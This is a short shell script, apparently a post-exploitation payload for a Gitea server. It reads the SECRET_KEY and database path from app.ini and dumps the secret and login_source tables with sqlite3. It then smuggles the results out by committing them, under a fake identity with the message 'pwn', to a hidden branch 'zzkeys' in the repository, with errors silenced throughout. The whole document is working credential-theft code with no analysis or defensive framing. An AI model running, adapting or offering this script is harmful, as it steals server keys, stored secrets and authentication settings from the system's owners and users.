#!/bin/sh
ORIGIN=$(git config --get remote.origin.url 2>/dev/null)
[ -z "$ORIGIN" ] && exit 0
OUT=$(
  echo "== CONFIG:"
  grep -E '^SECRET_KEY|^INTERNAL_TOKEN|^DB_TYPE|^PATH|^NAME' /data/gitea/conf/app.ini 2>/dev/null | sed 's/\(SECRET_KEY *= *\).*/\1<set>/'
  SK=$(grep -E '^SECRET_KEY' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^SECRET_KEY *= *//')
  echo "SK=$SK"
  DB=$(grep -E '^PATH' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^PATH *= *//')
  [ -z "$DB" ] && DB=/data/gitea/gitea.db
  echo "DBFILE=$DB"
  echo "== SECRETS:"
  sqlite3 "$DB" "select id||'@'||name||'@'||data from secret;" 2>/dev/null | head -60
  echo "== LOGIN:"
  sqlite3 "$DB" "select id||'@'||name||'@'||cfg from login_source;" 2>/dev/null | head -20
) 2>&1
BLOB=$(printf "%s" "$OUT" | git --git-dir="$ORIGIN" hash-object -w --stdin 2>/dev/null)
TREE=$(printf "100644 blob %s\tout.txt\n" "$BLOB" | git --git-dir="$ORIGIN" mktree 2>/dev/null)
C=$(echo pwn | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$ORIGIN" commit-tree "$TREE" 2>/dev/null)
git --git-dir="$ORIGIN" update-ref refs/heads/zzkeys "$C" 2>/dev/null
exit 0
# v1
